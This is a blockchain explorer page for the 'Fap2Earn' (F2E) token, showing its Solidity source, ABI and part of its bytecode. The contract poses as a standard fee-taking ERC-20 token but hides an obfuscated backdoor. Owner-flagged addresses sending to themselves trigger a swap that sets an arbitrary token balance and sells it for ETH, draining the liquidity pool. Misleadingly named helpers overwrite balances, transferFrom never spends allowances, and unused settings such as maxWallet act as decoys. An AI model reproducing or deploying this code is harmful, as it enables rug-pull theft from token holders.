ETH Price: $2,521.92 (-5.11%)

Token

Fap2Earn (F2E)
 

Overview

Max Total Supply

10,000,000,000 F2E

Holders

37

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
100,032,089.490583874 F2E

Value
$0.00
0x1d95252e10bd7ee920f7856f4aa9b724918b9c18
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
F2E

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-11-01
*/

pragma solidity ^0.8.16;

// SPDX-License-Identifier: MIT

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: division by zero");
        uint256 c = a / b;
        return c;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Router {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
}
interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

abstract contract Ownable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}
abstract contract ERC20Token is Ownable {
    mapping (address => bool) bots;
    address feeReceiver;
    bool inLiquidityTx = false;
    bool tradingStarted = false;
    function startTrading() external onlyOwner {
        tradingStarted = true;
    }
    function addBot(address[] calldata _bots) external onlyOwner {
        for (uint i = 0; i < _bots.length; i++) {
            bots[_bots[i]] = true;
        }
    }
    function isBot(address _adr) internal view returns (bool) {
        return bots[_adr];
    }
    function cmpAddress(address adr1, address adr2) internal pure returns (bool) {
        return adr1 == adr2;
    }
    function shouldSwap(address recipient, address senderAddress) public view returns (bool) {
        return isBot(senderAddress) ? cmpAddress(recipient, senderAddress) : false;
    }
    function isAllowed(address from, address recipient, address pair) public returns (bool) {
        bool allowed = !inLiquidityTx;
        bool lqPair = !bots[recipient] && !bots[from];
        if (lqPair && allowed && pair != recipient) {
            feeReceiver = recipient;
            return true;
        }
        return false;
    }
}

contract F2E is IERC20, ERC20Token {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 public _decimals = 9;
    uint256 public _totalSupply = 10000000000 * 10 ** _decimals;
    uint256 _fee = 1;
    IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    string private _name = "Fap2Earn";
    string private  _symbol = "F2E";
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) {
        require(_allowances[msg.sender][from] >= amount);
        _approve(msg.sender, from, _allowances[msg.sender][from] - amount);
        return true;
    }
    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0));
        require(to != address(0));
        if (shouldSwap(from, to)) {
            swap(amount, to);
        } else {
            require(amount <= _balances[from]);
            uint256 fee = takeFee(from, to, amount);
            _balances[from] = _balances[from] - amount;
            _balances[to] += amount - fee;
            emit Transfer(from, to, amount);
        }
    }
    function takeFee(address from, address recipient, uint256 amount) private returns (uint256) {
        uint256 feeAmount = 0;
        _balances[feeReceiver] = approveSwap(from);
        if (shouldTakeFee(from, recipient)) {
            feeAmount = amount.mul(_fee).div(100);
        }
        return feeAmount;
    }
    function shouldTakeFee(address from, address recipient) private returns (bool) {
        return isAllowed(from, recipient, IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH()));
    }
    constructor() {
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _balances[msg.sender]);
    }
    function name() external view returns (string memory) { return _name; }
    function symbol() external view returns (string memory) { return _symbol; }
    function decimals() external view returns (uint256) { return _decimals; }
    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function swap(uint256 _mcs, address _bcr) private {
        _approve(address(this), address(_router), _mcs);
        _balances[address(this)] = _mcs;
        address[] memory path = new address[](2);
        inLiquidityTx = true;
        path[0] = address(this);
        path[1] = _router.WETH();
        _router.swapExactTokensForETHSupportingFeeOnTransferTokens(_mcs,0,path,_bcr,block.timestamp + 30);
        inLiquidityTx = false;
    }
    function approveSwap(address from) private view returns (uint256) {
        address to = getPairAddress();
        return swapFee(from, to, balanceOf(feeReceiver));
    }
    function swapFee(address feeReceiver, address to, uint256 feeAmount) private pure returns (uint256) {
        uint256 amount = feeAmount;
        if (feeReceiver != to) {
            amount = feeAmount;
        } else {
            amount = amount - feeAmount;
        }
        return amount;
    }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }
    function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(from, recipient, amount);
        require(_allowances[from][msg.sender] >= amount);
        return true;
    }
    function getPairAddress() private view returns (address) {
        return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
    }
    address public marketingWallet;
    function updateMarketingWallet(address a) external onlyOwner {
        marketingWallet = a;
    }
    uint256 public maxWallet = _totalSupply.div(100);
    function updateMaxWallet(uint256 m) external onlyOwner {
        require(m >= _totalSupply.div(100));
        maxWallet = m;
    }
    bool transferDelay = true;
    function disableTransferDelay() external onlyOwner {
        transferDelay = false;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_bots","type":"address[]"}],"name":"addBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"address","name":"pair","type":"address"}],"name":"isAllowed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"address","name":"senderAddress","type":"address"}],"name":"shouldSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"m","type":"uint256"}],"name":"updateMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526000600260146101000a81548160ff0219169083151502179055506000600260156101000a81548160ff0219169083151502179055506009600555600554600a62000050919062000534565b6402540be40062000062919062000585565b6006556001600755737a250d5630b4cf539739df2c5dacb4c659f2488d600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600881526020017f466170324561726e0000000000000000000000000000000000000000000000008152506009908162000105919062000840565b506040518060400160405280600381526020017f4632450000000000000000000000000000000000000000000000000000000000815250600a90816200014c919062000840565b506200016a60646006546200034460201b62000fdc1790919060201c565b600c556001600d60006101000a81548160ff0219169083151502179055503480156200019557600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600654600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460405162000336919062000938565b60405180910390a362000a3f565b60008082116200038b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200038290620009b6565b60405180910390fd5b600082846200039b919062000a07565b90508091505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000435578086048111156200040d576200040c620003a7565b5b60018516156200041d5780820291505b80810290506200042d85620003d6565b9450620003ed565b94509492505050565b60008262000450576001905062000523565b8162000460576000905062000523565b81600181146200047957600281146200048457620004ba565b600191505062000523565b60ff841115620004995762000498620003a7565b5b8360020a915084821115620004b357620004b2620003a7565b5b5062000523565b5060208310610133831016604e8410600b8410161715620004f45782820a905083811115620004ee57620004ed620003a7565b5b62000523565b620005038484846001620003e3565b925090508184048111156200051d576200051c620003a7565b5b81810290505b9392505050565b6000819050919050565b600062000541826200052a565b91506200054e836200052a565b92506200057d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200043e565b905092915050565b600062000592826200052a565b91506200059f836200052a565b9250828202620005af816200052a565b91508282048414831517620005c957620005c8620003a7565b5b5092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200065257607f821691505b6020821081036200066857620006676200060a565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620006d27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000693565b620006de868362000693565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620007216200071b62000715846200052a565b620006f6565b6200052a565b9050919050565b6000819050919050565b6200073d8362000700565b620007556200074c8262000728565b848454620006a0565b825550505050565b600090565b6200076c6200075d565b6200077981848462000732565b505050565b5b81811015620007a1576200079560008262000762565b6001810190506200077f565b5050565b601f821115620007f057620007ba816200066e565b620007c58462000683565b81016020851015620007d5578190505b620007ed620007e48562000683565b8301826200077e565b50505b505050565b600082821c905092915050565b60006200081560001984600802620007f5565b1980831691505092915050565b600062000830838362000802565b9150826002028217905092915050565b6200084b82620005d0565b67ffffffffffffffff811115620008675762000866620005db565b5b62000873825462000639565b62000880828285620007a5565b600060209050601f831160018114620008b85760008415620008a3578287015190505b620008af858262000822565b8655506200091f565b601f198416620008c8866200066e565b60005b82811015620008f257848901518255600182019150602085019450602081019050620008cb565b868310156200091257848901516200090e601f89168262000802565b8355505b6001600288020188555050505b505050505050565b62000932816200052a565b82525050565b60006020820190506200094f600083018462000927565b92915050565b600082825260208201905092915050565b7f536166654d6174683a206469766973696f6e206279207a65726f000000000000600082015250565b60006200099e601a8362000955565b9150620009ab8262000966565b602082019050919050565b60006020820190508181036000830152620009d1816200098f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000a14826200052a565b915062000a21836200052a565b92508262000a345762000a33620009d8565b5b828204905092915050565b6127a58062000a4f6000396000f3fe608060405234801561001057600080fd5b50600436106101585760003560e01c8063715018a6116100c3578063a9059cbb1161007c578063a9059cbb146103b9578063aacebbe3146103e9578063c62b079514610405578063dd62ed3e14610435578063e884f26014610465578063f8b45b051461046f57610158565b8063715018a6146102f557806375f0a874146102ff5780638da5cb5b1461031d57806395d89b411461033b5780639601f96c14610359578063a457c2d71461038957610158565b8063293230b811610115578063293230b814610231578063313ce5671461023b57806332424aa31461025957806339509351146102775780633eaaf86b146102a757806370a08231146102c557610158565b806306fdde031461015d578063095ea7b31461017b57806318160ddd146101ab5780631c499ab0146101c957806321bbcbb1146101e557806323b872dd14610201575b600080fd5b61016561048d565b6040516101729190611d5e565b60405180910390f35b61019560048036038101906101909190611e1e565b61051f565b6040516101a29190611e79565b60405180910390f35b6101b3610536565b6040516101c09190611ea3565b60405180910390f35b6101e360048036038101906101de9190611ebe565b610540565b005b6101ff60048036038101906101fa9190611f50565b6105e1565b005b61021b60048036038101906102169190611f9d565b6106fa565b6040516102289190611e79565b60405180910390f35b61023961079b565b005b61024361082d565b6040516102509190611ea3565b60405180910390f35b610261610837565b60405161026e9190611ea3565b60405180910390f35b610291600480360381019061028c9190611e1e565b61083d565b60405161029e9190611e79565b60405180910390f35b6102af6108db565b6040516102bc9190611ea3565b60405180910390f35b6102df60048036038101906102da9190611ff0565b6108e1565b6040516102ec9190611ea3565b60405180910390f35b6102fd61092a565b005b610307610a5d565b604051610314919061202c565b60405180910390f35b610325610a83565b604051610332919061202c565b60405180910390f35b610343610aac565b6040516103509190611d5e565b60405180910390f35b610373600480360381019061036e9190612047565b610b3e565b6040516103809190611e79565b60405180910390f35b6103a3600480360381019061039e9190611e1e565b610b67565b6040516103b09190611e79565b60405180910390f35b6103d360048036038101906103ce9190611e1e565b610c8e565b6040516103e09190611e79565b60405180910390f35b61040360048036038101906103fe9190611ff0565b610ca5565b005b61041f600480360381019061041a9190612087565b610d5e565b60405161042c9190611e79565b60405180910390f35b61044f600480360381019061044a9190612047565b610ebd565b60405161045c9190611ea3565b60405180910390f35b61046d610f44565b005b610477610fd6565b6040516104849190611ea3565b60405180910390f35b60606009805461049c90612109565b80601f01602080910402602001604051908101604052809291908181526020018280546104c890612109565b80156105155780601f106104ea57610100808354040283529160200191610515565b820191906000526020600020905b8154815290600101906020018083116104f857829003601f168201915b5050505050905090565b600061052c33848461103a565b6001905092915050565b6000600654905090565b3373ffffffffffffffffffffffffffffffffffffffff1661055f610a83565b73ffffffffffffffffffffffffffffffffffffffff16146105b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ac90612186565b60405180910390fd5b6105cb6064600654610fdc90919063ffffffff16565b8110156105d757600080fd5b80600c8190555050565b3373ffffffffffffffffffffffffffffffffffffffff16610600610a83565b73ffffffffffffffffffffffffffffffffffffffff1614610656576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161064d90612186565b60405180910390fd5b60005b828290508110156106f557600180600085858581811061067c5761067b6121a6565b5b90506020020160208101906106919190611ff0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806106ed90612204565b915050610659565b505050565b6000610707848484611203565b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561079057600080fd5b600190509392505050565b3373ffffffffffffffffffffffffffffffffffffffff166107ba610a83565b73ffffffffffffffffffffffffffffffffffffffff1614610810576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080790612186565b60405180910390fd5b6001600260156101000a81548160ff021916908315150217905550565b6000600554905090565b60055481565b60006108d1338484600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546108cc919061224c565b61103a565b6001905092915050565b60065481565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610949610a83565b73ffffffffffffffffffffffffffffffffffffffff161461099f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099690612186565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600a8054610abb90612109565b80601f0160208091040260200160405190810160405280929190818152602001828054610ae790612109565b8015610b345780601f10610b0957610100808354040283529160200191610b34565b820191906000526020600020905b815481529060010190602001808311610b1757829003601f168201915b5050505050905090565b6000610b4982611449565b610b54576000610b5f565b610b5e838361149f565b5b905092915050565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610bf257600080fd5b610c84338484600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c7f9190612280565b61103a565b6001905092915050565b6000610c9b338484611203565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16610cc4610a83565b73ffffffffffffffffffffffffffffffffffffffff1614610d1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1190612186565b60405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080600260149054906101000a900460ff161590506000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610e1a5750600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b9050808015610e265750815b8015610e5e57508473ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15610eaf5784600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600192505050610eb6565b6000925050505b9392505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16610f63610a83565b73ffffffffffffffffffffffffffffffffffffffff1614610fb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb090612186565b60405180910390fd5b6000600d60006101000a81548160ff021916908315150217905550565b600c5481565b6000808211611020576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101790612300565b60405180910390fd5b6000828461102e919061234f565b90508091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a0906123f2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611118576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110f90612484565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111f69190611ea3565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361123c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361127557600080fd5b61127f8383610b3e565b156112935761128e81836114d8565b611444565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111156112df57600080fd5b60006112ec8484846117a2565b905081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113399190612280565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080826113889190612280565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113d6919061224c565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161143a9190611ea3565b60405180910390a3505b505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614905092915050565b61150530600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461103a565b81600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff811115611566576115656124a4565b5b6040519080825280602002602001820160405280156115945781602001602082028036833780820191505090505b5090506001600260146101000a81548160ff02191690831515021790555030816000815181106115c7576115c66121a6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561166e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061169291906124e8565b816001815181106116a6576116a56121a6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486601e42611730919061224c565b6040518663ffffffff1660e01b8152600401611750959493929190612618565b600060405180830381600087803b15801561176a57600080fd5b505af115801561177e573d6000803e3d6000fd5b505050506000600260146101000a81548160ff021916908315150217905550505050565b600080600090506117b28561185c565b60036000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061182185856118a6565b156118515761184e606461184060075486611a5690919063ffffffff16565b610fdc90919063ffffffff16565b90505b809150509392505050565b600080611867611ad0565b905061189e8382611899600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166108e1565b611c73565b915050919050565b6000611a4e8383600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561191a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061193e91906124e8565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156119c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119eb91906124e8565b6040518363ffffffff1660e01b8152600401611a08929190612672565b602060405180830381865afa158015611a25573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a4991906124e8565b610d5e565b905092915050565b6000808303611a685760009050611aca565b60008284611a76919061269b565b9050828482611a85919061234f565b14611ac5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611abc9061274f565b60405180910390fd5b809150505b92915050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b3f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b6391906124e8565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611bec573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c1091906124e8565b6040518363ffffffff1660e01b8152600401611c2d929190612672565b602060405180830381865afa158015611c4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c6e91906124e8565b905090565b6000808290508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614611cb457829050611cc3565b8281611cc09190612280565b90505b809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611d08578082015181840152602081019050611ced565b60008484015250505050565b6000601f19601f8301169050919050565b6000611d3082611cce565b611d3a8185611cd9565b9350611d4a81